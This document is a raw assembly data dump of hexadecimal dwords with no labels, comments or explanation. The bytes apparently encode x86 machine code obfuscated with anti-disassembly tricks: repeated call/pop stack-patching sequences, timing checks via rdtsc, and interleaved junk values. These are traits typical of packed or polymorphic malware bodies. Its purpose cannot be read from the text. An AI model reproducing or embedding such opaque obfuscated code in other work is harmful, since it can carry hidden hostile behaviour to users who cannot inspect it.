		dd 247C895Fh, 24448104h, 1604h,	0C3574700h, 3106A45Dh
		dd 0A92119B5h, 0D8BF0F06h, 6AC02Bh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 45CEF2C3h
		dd 0B323DC6Ah, 66D22BC0h, 726AEB81h, 0D1C233ADh, 83D003E8h
		dd 0F47504E9h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 17h,	6CC35545h, 8900D9F2h, 0A932758Dh, 6A9AB306h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h
		dd 3AE3C351h, 0AD59BB3Dh, 41BD8B84h, 0D06A90Ah,	88h, 2807E5BBh
		dd 0CD958B0Fh, 8B06A916h, 0A90CE58Dh, 759D2906h, 5006A91Fh
		dd 188BC28Bh, 188BC103h, 0E8D1C18Bh, 188BC203h,	55006A58h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1404h, 0C3554500h
		dd 55006AE3h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1D04h
		dd 0C3554500h, 0A32DD0h, 89BCDD8Fh, 0DB8152FBh,	2E295398h
		dd 33C9BD83h, 0F0006A9h, 8484h,	52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1A04h,	0C3524200h, 72CCA88h, 893E922Ch
		dd 0A9266985h, 0B8F88B06h, 0
		dd 0B830Fh, 81600000h, 0FC023CE0h, 0CE8B663Dh, 0C08D8D61h
		dd 8906A94Dh, 0A929F19Dh, 68E0F06h, 0B000000h, 0A91261BDh
		dd 6AE1FF06h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1C042444h, 45000000h, 0D142C355h, 65F51FB5h,	1D67D9Ch
		dd 0A90E359Dh, 0CDBD8306h, 6A911h, 4A2840Fh, 0DB810000h
		dd 0E61464Ch, 11CDBD83h, 0F0106A9h, 4AA84h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1704h, 0C3564600h
		dd 0F191216Dh, 496CE6BBh, 0CDBD8323h, 306A911h,	443860Fh
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h
		dd 51410000h, 0B20B14C3h, 0F0340A06h, 6329BB66h, 25B58950h
		dd 5B06A917h, 50006A60h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1604h, 0C3504000h, 66FB2137h, 6AD98Ch, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 150424h, 55450000h, 0E8769AC3h
		dd 0Fh,	0A56B1210h, 2D0F671Bh, 5D3DFC38h, 8B94ED01h, 0A913C59Dh
		dd 0E1805F06h, 52006A04h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1604h, 0C3524200h, 1AF0083h, 0A91D21BDh
		dd 0FC90A06h, 11484h, 51FDBB00h, 85890808h, 6A90EC1h, 619858Bh
		dd 6A06A9h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h
		dd 53430000h, 5FD54DC3h, 197A46CDh, 0F9853375h,	6A06A931h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 16042444h
		dd 46000000h, 59AFC356h, 0B350F8E9h, 240489DDh,	23899D8Bh
		dd 6A06A9h, 34558589h, 296006A9h, 0A934458Dh, 55B52906h
		dd 6106A926h, 0E6DE2068h, 0BEBF66ACh, 240481FEh, 533825DFh
		dd 11E59D8Bh, 95FF06A9h, 6A93579h, 0AE857h, 0E9670000h
		dd 2C86AE89h, 0F9ED2483h, 10E9h, 66975E00h, 821518F8h
		dd 747AC333h, 639A741Bh, 895F5F6Eh, 0ACADF285h,	50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1C04h, 0C3504000h
		dd 0A643BE92h, 88C2C37Bh, 0E9FA8B48h, 212h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 4C35545h, 2189D248h
		dd 8AA0B295h, 0EA858BDDh, 0F506ACADh, 0C7FA8Bh,	18h, 0ADEEB58Bh
		dd 12E906ACh, 73000000h, 9C5ECE1Dh, 9899854Ch, 427D702Eh
		dd 0B11E0224h, 0BD858BE4h, 8906A932h, 0A91D35BDh, 759D8B06h
		dd 8906A905h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1704h, 0C3514100h, 0C5886559h, 11E8h, 9750D400h, 0F0EB4178h
		dd 4C36522h, 0A6C17A5Eh, 0FE86259h, 27000000h, 0B442ED0Fh
		dd 82379D5Bh, 0F03D010Dh, 8D09B504h, 6A91ED9h, 858B5B5Fh
		dd 6A90619h, 357D9D8Bh,	468906A9h, 0D7816604h, 0BE9E6B0h
		dd 49000000h, 7A839A14h, 804D6034h, 0F506458h, 284h, 89DE8B00h
		dd 6A2434h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h
		dd 55450000h, 3A3F20C3h, 7A1EDDD1h, 0DA8BF881h,	0ADEAB5FFh
		dd 0D98B06ACh, 4E8h, 1F03FF00h,	0FE8B6600h, 0F525050h
		dd 582h, 93C5BB00h, 310F1BDCh, 0DD8A5250h, 6160310Fh, 585A585Ah
		dd 424448Bh, 310F5250h,	28BB6651h, 585A5F98h, 0E857008Bh
		dd 7, 61AEAA97h, 0E9C797F5h, 12h, 7A0C94E1h, 6E7BE347h
		dd 0DF2FF589h, 10595475h, 5B5BFEDBh, 4244489h, 6A58F88Bh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 19042444h
		dd 47000000h, 5284C357h, 0CE2F7EDFh, 8E9h, 71941400h, 259E70B9h
		dd 0F2858DAEh, 0E906ACADh, 0Dh,	0DAE0C22Bh, 0DE476F9Eh
		dd 9A925069h, 0BB669011h, 60504151h, 8B665250h,	0E8310FF9h
		dd 11h,	9899854Ch, 427D702Eh, 0B11E0224h, 0AAC7BDE4h, 585A5EBEh
		dd 5E9h, 0DB78A100h, 9061F786h,	0AE8h, 0A704AA00h, 7B9570F6h
		dd 0FC86428h, 0FF5BDFB7h, 0A9357995h, 0E3816606h, 6A61A99Fh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 17042444h
		dd 43000000h, 1DEC353h,	0BD8BE4E8h, 6A92D79h, 0DA5BD89h
		dd 85C706A9h, 6A911CDh,	3, 25D1BD8Bh, 0BD8306A9h, 6ACADF2h
		dd 42840F00h, 6A000000h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 15042444h, 40000000h, 0FE56C350h,	6860Fh
		dd 0F3810000h, 335566BBh, 20319D2Bh, 29E906A9h,	60000000h
		dd 13E9958Bh, 0B52906A9h, 6A921B5h, 0C305061h, 11440011h
		dd 10E8C101h, 2114430h,	3114C00h, 4E98358h, 36EBE775h
		dd 11043050h, 1116400h,	3010E8C1h, 21144h, 58031164h, 7504E983h
		dd 501BEBE7h, 2810E8C1h, 30031164h, 58021144h, 1116428h
		dd 83110430h, 0E77504E9h, 0C08B00EBh, 6AFE8B66h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h
		dd 0A3B6C351h, 0DE90D83h, 41000000h, 0C8E699DBh, 943FFAA7h
		dd 15FF7B32h, 13E9h, 7CEBED00h,	0D00638B7h, 0EC2D7BB8h
		dd 0EF6D95AAh, 0F29D0C0Dh, 11CDBD83h, 0F0306A9h, 40185h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1904h
		dd 0C3564600h, 716B6E0Dh, 9D8B1646h, 6A90921h, 0ADF2BD83h
		dd 0F0006ACh, 3CD84h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1B04h, 0C3524200h, 9D635F0Bh, 90C8A9CFh
		dd 8AAFD780h, 0E78166DDh, 0B5FF5B21h, 6ACADF2h,	0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 0F5C35040h, 5EE56CC8h
		dd 73B3D069h, 0B5195FFh, 6A06A9h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 140424h, 50400000h, 9D89B7C3h, 6A90E2Dh
		dd 0ADE6B58Bh, 6A06ACh,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 140424h, 55450000h, 6C7F2C3h, 10001h, 49BB6696h, 890F5049h
		dd 0
		dd 57006A96h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1404h
		dd 0C3574700h, 0B19D8B65h, 0FF06A921h, 0ACADF2B5h, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1604h, 0C3554500h
		dd 0F530A108h, 0EC595FFh, 952906A9h, 6A910ADh, 0ADE6B58Bh
		dd 6A06ACh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h
		dd 53430000h, 0E8F5A5C3h, 5, 0C09A3B17h, 71BD8BD6h, 5F06A929h
		dd 13BD858Bh, 0B50906A9h, 6A9263Dh, 0C48689h, 8BF80000h
		dd 0A916CD95h, 52006A06h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1804h, 0C3524200h, 0DFDE857Bh, 4C2832Ah
		dd 0AE8h, 0C3BD4800h, 96B0301Ch, 0E8C79F60h, 7,	1885E5BDh
		dd 0FCBE3518h, 50895B5Bh, 51006A20h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1D04h,	0C3514100h, 8C1FB685h
		dd 0C4838CA1h, 810FA6E3h, 6, 0C15F781h,	858D61E4h, 6ACC1C3h
		dd 10E9h, 8BFFB100h, 942A4A4Ch,	70D08E3Fh, 8E1A76EFh, 0B8868945h
		dd 6A000000h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1A042444h, 43000000h, 15D7C353h, 380AB2C7h, 0E1BD8B63h
		dd 6A06A90Ch, 472BB00h,	0B5FF57D1h, 6ACADF2h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 0A4C35545h, 6995FFF5h
		dd 8906A906h, 0A9295D8Dh, 0D88B6606h, 24348950h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 2EC35545h, 1B60F2FDh
		dd 0E9B97450h, 0Fh, 48E5EE81h, 0C30FFDADh, 33DF3DB6h, 0FFD0BC8Eh
		dd 0ACADF2B5h, 0EF816606h, 0E8B3F8CFh, 0C8995FFh, 6A06A9h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h
		dd 368F93C3h, 4FA557D2h, 0BD89F213h, 6A931E5h, 3319BD83h
		dd 0F0006A9h, 5584h, 51006A00h,	3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1704h, 0C3514100h, 0A9904EA4h, 2C719589h
		dd 525006A9h, 45C9BF66h, 2434895Bh, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ch, 0A5C35343h,	1641DD92h, 8D24A331h
		dd 0B5FF8DB7h, 6ACADF2h, 1F099D8Bh, 95FF06A9h, 6A91785h
		dd 6850F60h, 9000000h, 0A920A99Dh, 0DEBF0F06h, 0F2B5FF61h
		dd 0BF06ACADh, 21A16C38h, 0AD01BF66h, 2A6195FFh, 6A06A9h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
		dd 0DD1F8DC3h, 89744D0Ch, 0A924E1B5h, 31BD8306h, 206A91Eh
		dd 26840Fh, 0BF0F0000h,	11858BDEh, 0E906A911h, 0Fh, 0EAF73F13h
		dd 0FC2ECCE5h, 0FE95455Bh, 0C622DCDBh, 95890000h, 6A9295Dh
		dd 2F185C7h, 6A9h, 5E80000h, 0A9000000h, 0D4E958EBh, 15E95BF5h
		dd 8BFFFFF3h, 0EE9C1h, 43050000h, 13955837h, 92463510h
		dd 34FBFB60h, 535858Dh,	0DB8006A9h, 505090D3h, 0DE852h
		dd 0E2BA0000h, 3364E10Dh, 0AA51537Dh, 66FC7718h, 5B0E9EBFh
		dd 0BF66310Fh, 585A6735h, 50006A90h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1504h,	0C3504000h, 8589C22Dh
		dd 6A922F1h, 0BD8B006Ah, 6A90DA5h, 6A006Ah, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1D0424h, 50400000h, 0B36F0AC3h
		dd 293DF0ECh, 31D0FC1Dh, 0A934E1B5h, 96858D06h,	6A06AE31h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1C042444h
		dd 42000000h, 2333C352h, 0C31A7D78h, 0B7909F53h, 5C08344h
		dd 1A1BD89h, 0F9006A9h,	8Dh, 0DD8A5000h, 8B77B390h, 0A900DD9Dh
		dd 6A006A06h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 15042444h, 47000000h, 7B62C357h, 6448BF66h, 33D5B589h
		dd 6A06A9h, 0C7DBD23h, 95FF06A9h, 6A92EA9h, 1E21BD8Bh
		dd 8D8D06A9h, 6AC98DEh,	49D9D8Bh, 0D1FF06A9h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 52C35242h, 620EBF36h
		dd 4EF43ECAh, 5DB589A0h, 8306A914h, 0A912ADBDh,	850F0106h
		dd 53h,	6758D29h, 26A06A9h, 23E38166h, 60505065h, 850FD68Bh
		dd 0
		dd 4895F61h, 52006A24h,	3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1C04h, 0C3524200h, 0ED431B41h, 0F05AF32Eh, 0DDBD233Bh
		dd 0FF06A90Fh, 0A9066995h, 0C1BD8B06h, 0E906A914h, 0CFAh
		dd 0E8h, 0ED815D00h, 6AE31A0h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Dh, 0E2C35040h,	1B9D17B2h, 8F45F5FFh
		dd 498D8948h, 6A06A91Eh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 19042444h, 42000000h, 4D1C352h, 0F27D6044h
		dd 5B858DF8h, 6A06AC8Ah, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 17042444h, 41000000h, 1DE0C351h, 0BD8B80ADh
		dd 6A9237Dh, 895CB350h,	0B8602404h, 21821A09h, 61D9B70Fh
		dd 35FF64h, 64000000h, 2589h, 6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1A0424h, 50400000h, 3D31C8C3h
		dd 7A67A0h, 1035BD31h, 0D38106A9h, 1519E98Bh, 170D85FFh
		dd 6A06A9h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h
		dd 53430000h, 0A13BD4C3h, 0CF98F0E1h, 6AFF6A7Ah, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h
		dd 2A89C352h, 0D736DD1h, 3F244548h, 9E8h, 0CEAC8200h, 0EF570C5Fh
		dd 0DA8B9AF7h, 0A9B5FF5Bh, 6A06A90Dh, 3E85100h,	20000000h
		dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 0EE6BC351h
		dd 0A87FEFAFh, 1CDE30EAh, 34DD95FFh, 0FAE906A9h, 0E9000000h
		dd 0Bh,	9C02C26Dh, 2A1BE2B0h, 0B30265FBh, 5100B052h, 0CE9h
		dd 973F7300h, 0E31D8651h, 52A5D089h, 70E65FF6h,	0E4DBBF0Fh
		dd 3C0DB371h, 0C2830F61h, 0F000000h, 89h, 0C8B60F00h, 0BAF88B66h
		dd 6, 0C18BD88Bh, 3499BD8Bh, 0E8C106A9h, 0E2F76604h, 2679BD89h
		dd 0C82B06A9h, 0C117BB66h, 0BE8D18Bh, 43000000h, 992A816Eh
		dd 8544C777h, 5FFC6E41h, 7CE9h,	19D8900h, 8B06A932h, 47554C85h
		dd 0A7BB6049h, 0F4DCE07h, 68Eh,	800F00h, 61000000h, 6607C083h
		dd 0C083D98Bh, 0D03BF500h, 0E830Fh, 9D290000h, 6A90629h
		dd 40E9h, 0DA8B6600h, 0FFFF8D8Bh, 0BD8BFFFFh, 6A90939h
		dd 0F01E183h, 2884h, 0FFA58300h, 0FEFFFFFFh, 2CB19D8Bh
		dd 958906A9h, 4947554Ch, 0BE9h,	0D551A400h, 421BFA4Bh
		dd 4B9EDEA2h, 0E9h, 69B58D00h, 6A06ADB0h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 0D898C355h
		dd 870FE8FFh, 0
		dd 9D01006Ah, 6A90B21h,	10E950h, 0A9630000h, 0D375DC04h
		dd 0B526433Eh, 774C86CEh, 0FF5B0F20h, 0A92D9595h, 52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1B04h, 0C3524200h
		dd 9FB3F0C2h, 8B827D30h, 10E8h,	2AEE6C00h, 8881DCD0h, 856AA4C1h
		dd 0C4C50617h, 0D19D09BDh, 5F06A912h, 70B0BF66h, 0E9EB9h
		dd 98D2900h, 8306A917h,	8166FCE1h, 0FC207BE7h, 21358589h
		dd 0C02B06A9h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Dh,	0A9C35141h, 0A4F7A934h,	507CB6D0h, 3D9D8B2Fh, 8B06A913h
		dd 0A92A599Dh, 0BA06h, 0DE90000h, 7F000000h, 9D1D106Bh
		dd 0AE391619h, 9832CB76h, 0D1C233ADh, 83D003E8h, 0F47504E9h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 44C35040h
		dd 8BFCB48Dh, 0A925BDBDh, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1604h,	0C3534300h, 0D7264DAh
		dd 88h,	0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah
		dd 1C35343h, 78D1AF30h,	81668B6Bh, 8B2ABBE7h, 0A916CD95h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1504h
		dd 0C3554500h, 8D8B0055h, 6A90CE5h, 1ED9BD8Bh, 8B5006A9h
		dd 3188BC2h, 8B188BC1h,	3E8D1C1h, 58188BC2h, 6AF98B66h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1A042444h
		dd 46000000h, 5765C356h, 0A244A0Eh, 0C9BD837Ah,	6A933h
		dd 85840Fh, 6A0000h, 3E850h, 58200000h,	448958C3h, 44810424h
		dd 150424h, 50400000h, 8B7778C3h, 0A921959Dh, 0B806h, 6A0000h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h
		dd 4BBE4AC3h, 0E0B88F35h, 8DF95F70h, 0A94DC08Dh, 0D9BD8B06h
		dd 0FF06A91Ch, 53006AE1h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1C04h, 0C3534300h, 1D575AF8h, 78C3790Ah
		dd 0C18D899Dh, 8306A920h, 0A911CDBDh, 840F0006h, 3BAh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 55C35141h
		dd 78194710h, 0BB3D3AE3h, 0ED9D8B59h, 8906A914h, 0A933358Dh
		dd 0CDBD8306h, 106A911h, 397840Fh, 0BD8B0000h, 6A9060Dh
		dd 11CDBD83h, 0F0306A9h, 34E86h, 718D0100h, 6006A90Bh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 97C35242h
		dd 5595C29Eh, 10015A6h,	8E0Fh, 8C660000h, 55006AD9h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1604h, 0C3554500h
		dd 8097537Bh, 816604E1h, 0A626DCFh, 6F840FC9h, 6A000001h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 16042444h
		dd 43000000h, 0D131C353h, 3860F0Ah, 66000000h, 858BFA8Bh
		dd 6A90619h, 33DEB70Fh,	0A931F985h, 7DBD8B06h, 0E906A90Ah
		dd 0Dh,	0A0AA89CDh, 9F7AF4CAh, 4C2A5271h, 14E890DBh, 53000000h
		dd 0C0939CBh, 9F1D0AD9h, 9651C7FAh, 0C85B2117h,	50A52882h
		dd 0FC3B352h, 6E831h, 0CAD30000h, 12624605h, 5F585A5Bh
		dd 5E850h, 5A7E0000h, 0F0C6F1Dh, 0D8Ah,	7E800h,	74F90000h
		dd 635E5F90h, 905F5FD2h, 78D8589h, 0CE806A9h, 2E000000h
		dd 0C5282205h, 0BDAD0836h, 81358B96h, 323C6E3h,	6A5F39h
		dd 8212BF66h, 199DBF66h, 70AEB268h, 0F88B66AAh,	4D240481h
		dd 6A55AE55h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1D042444h, 41000000h, 78D8C351h, 2164DFD8h, 15C0EFEAh
		dd 97D9D89h, 95FF06A9h,	6A93579h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 17h, 83C35141h, 8B2F926Fh, 0A902CD9Dh
		dd 0F2858906h, 6A06ACADh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1B042444h, 46000000h, 0DFF3C356h,	14F18769h
		dd 840F9542h, 6, 0CF9BD8Bh, 8D2906A9h, 6A90351h, 147E9h
		dd 276DBF00h, 858B60FAh, 6ACADEAh, 0CE9h, 7B0FA500h, 0FAAAABFAh
		dd 7086BA24h, 1800C785h, 6A000000h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 6389C353h
		dd 0EEB58BA7h, 8906ACADh, 0A90C8DBDh, 0BD858B06h, 0F06A932h
		dd 288h, 89A2B700h, 0CE906h, 0BBE30000h, 12FB4977h, 7C46A794h
		dd 858B1640h, 6A90619h,	28218D29h, 468906A9h, 966DB704h
		dd 0CE8h, 0EC4B6700h, 2379AA48h, 4B01933Eh, 5F98B376h
		dd 65BB6050h, 667D539Dh, 6153E7BAh, 55006A96h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1504h,	0C3554500h, 830FA2A8h
		dd 3, 0FFFE8B66h, 0ACADEAB5h, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1604h,	0C3564600h, 6820D48Ch
		dd 0DDE0B4E3h, 1C240481h, 0E9223E4Fh, 8, 11992CA4h, 3291106Fh
		dd 0ADF2858Dh, 669006ACh, 0E850DE8Bh, 8, 21F04046h, 2948013Eh
		dd 0DA8B6660h, 0EE9h, 0D8590C00h, 0FB80A686h, 494FBBDBh
		dd 610F7CA3h, 0BD89905Fh, 6A92129h, 357995FFh, 0BD8B06A9h
		dd 6A916C5h, 0B18D8961h, 0F06A90Eh, 85C7D9BFh, 6A911CDh
		dd 3, 955BD8Bh,	0BD8306A9h, 6ACADF2h, 14840F00h, 0F000000h
		dd 38Bh, 0F9B70F00h, 21E9h, 419D0300h, 5006A92Ah, 110C30h
		dd 0C1011144h, 443010E8h, 4C000211h, 83580311h,	0E77504E9h
		dd 305036EBh, 64001104h, 0E8C10111h, 11443010h,	11640002h
		dd 0E9835803h, 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h
		dd 64285802h, 4300111h,	4E98311h, 0EBE775h, 18BBC08Bh
		dd 6A738440h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 15042444h, 42000000h, 0FD64C352h, 840F6BB3h,	4, 6662BB66h
		dd 11CDBD83h, 0F0306A9h, 3C185h, 51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1A04h,	0C3514100h, 7D99336h, 83ADB633h
		dd 0ACADF2BDh, 840F0006h, 392h,	0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Ch, 3BC35040h, 38F67F5Dh, 0A68A7B7Fh
		dd 0F2B5FFF5h, 8906ACADh, 0A93499B5h, 14E906h, 7BCF0000h
		dd 0FD2453BAh, 9A9A1520h, 85007989h, 0B4A89935h, 95FFDE69h
		dd 6A90B51h, 14E8h, 45172A00h, 0B02CED69h, 0EC9401D2h
		dd 4CC4CEE3h, 84C9A72Dh, 8B5FF9AEh, 0ACADE6B5h,	0BD8B6006h
		dd 6A91765h, 5E8h, 194BE200h, 8D89FE84h, 6A92CC5h, 6C7615Ah
		dd 10001h, 0BF0F5F50h, 665096D9h, 0F96DA8Bh, 68Bh, 0D5958900h
		dd 0FF06A90Fh, 0ACADF2B5h, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1704h,	0C3534300h, 3704BAB2h
		dd 0FFD8B70Fh, 0A90EC595h, 8BF88A06h, 0A90D059Dh, 0E6B58B06h
		dd 2906ACADh, 0A903599Dh, 0BD858B06h, 6A06A913h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h
		dd 106FC351h, 6EB63291h, 8B663C5Eh, 0C48689FEh,	66000000h
		dd 0B91F781h, 0A8D38166h, 0CD958BA2h, 8906A916h, 0A90CC18Dh
		dd 4C28306h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Dh,	0C5C35747h, 0ABF1D4EBh,	91A1CBDBh
		dd 7EF78171h, 896F3558h, 8C0F2050h, 6, 28C19589h, 858D06A9h
		dd 6ACC1C3h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 19h,	0FEC35242h, 80FACEA1h, 3830F8Fh, 66000000h, 8689D88Bh
		dd 0B8h, 0E852006Ah, 3,	5AC35A20h, 4245489h, 4244481h
		dd 1Ah,	0FC35242h, 125F741Eh, 8D89E3F0h, 6A91A21h, 0FE9h
		dd 95A6D500h, 61A9A6D1h, 545ED61Eh, 0D4350E68h,	5E9h, 57BC6300h
		dd 6A671Fh, 0E857006Ah,	3, 5FC35F20h, 4247C89h,	4244481h
		dd 15h,	6CC35747h, 0F2B5FF48h, 6A06ACADh, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 0F1C5C357h
		dd 66995FFh, 0BF5006A9h, 6FA9FCE0h, 6A243489h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1C042444h, 46000000h
		dd 0F5FBC356h, 10174FE9h, 0FFBE5CE9h, 0ACADF2B5h, 6E95006h
		dd 8A000000h, 0DE831E44h, 95FF5F4Dh, 6A90C89h, 3A7CC781h
		dd 0BD83767Bh, 6A93319h, 55840F00h, 6A000000h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1C042444h, 46000000h
		dd 66EFC356h, 4A2A6800h, 892215B8h, 0A9344595h,	0FA8B9606h
		dd 6A9650h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h
		dd 51410000h, 88B17AC3h, 9D8B6811h, 6A914DDh, 0ADF2B5FFh
		dd 0BF0F06ACh, 8595FFDBh, 6606A917h, 1AF73BFh, 0A929658Dh
		dd 0F2B5FF06h, 6A06ACADh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 17042444h, 45000000h, 3D7DC355h, 95FFEE14h
		dd 6A92A61h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 15h,	0B8C35646h, 8DB58930h, 8306A920h, 0A91E31BDh, 840F0206h
		dd 31h,	858BFE8Ah, 6A91111h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 15h, 1FC35646h, 0F9BD318Dh, 0C606A934h
		dd 0EF800000h, 0F185C700h, 6A902h, 66000000h, 2EE9FB8Bh
		dd 8BFFFFF4h, 50006AC1h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1804h, 0C3504000h, 6AF9C063h, 8E998h, 0BE8A0000h, 5EE79D8Bh
		dd 8D8D09FBh, 6AE3F8Dh,	13699D89h, 8D8906A9h, 6A916CDh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 2C35040h
		dd 0C05789Bh, 0E81AAE15h, 5, 0DCCF8ABAh, 0FAEF8156h, 5E7B2724h
		dd 23CD858Bh, 85C706A9h, 6A90CE5h, 6B80h, 1D41B501h, 9D0106A9h
		dd 6A9227Dh, 11CD85C7h,	6A9h, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 0FDB1FC3h
		dd 4EF2E51h, 0B3F80CAh,	0A90201B5h, 25B5FF06h, 6A06A928h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 16042444h
		dd 41000000h, 0A3FBC351h, 0A890F76h, 60000000h,	8D01F38Bh
		dd 6A90931h, 0FFDBB461h, 0A9328195h, 52006A06h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1604h,	0C3524200h, 6A5B00EFh
		dd 9595FF00h, 8B06A92Dh, 1D3BEBC0h, 0DF2BF3B5h,	52C7F511h
		dd 0B86D94D0h, 0BC58686Eh, 21A2977Ah, 8CD15B78h, 3DB767D3h
		dd 8D640B96h, 6ACE9154h, 8D8ED297h, 0D96B3666h,	323E60AFh
		dd 537B966Dh, 17810597h, 8D8D3962h, 6AE40B1h, 0B501DC8Ah
		dd 6A93469h, 16CD8D89h,	6E906A9h, 25000000h, 2E449A37h
		dd 0E585C764h, 7806A90Ch, 6A000058h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 15042444h, 41000000h, 5285C351h
		dd 23718589h, 0B58B06A9h, 6A913F5h, 11CD85C7h, 6A9h, 6A0000h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h
		dd 22A0D2C3h, 6B1D035h,	666DEA4Fh, 9D8BD38Bh, 6A935DDh
		dd 2C85B5FFh, 6A06A9h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 190424h, 52420000h, 0BB9ECEC3h, 0FFBF75A0h, 0A9328195h
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1B04h
		dd 0C3504000h, 3AA6A23h, 275EFB15h, 6AF78B66h, 9595FF00h
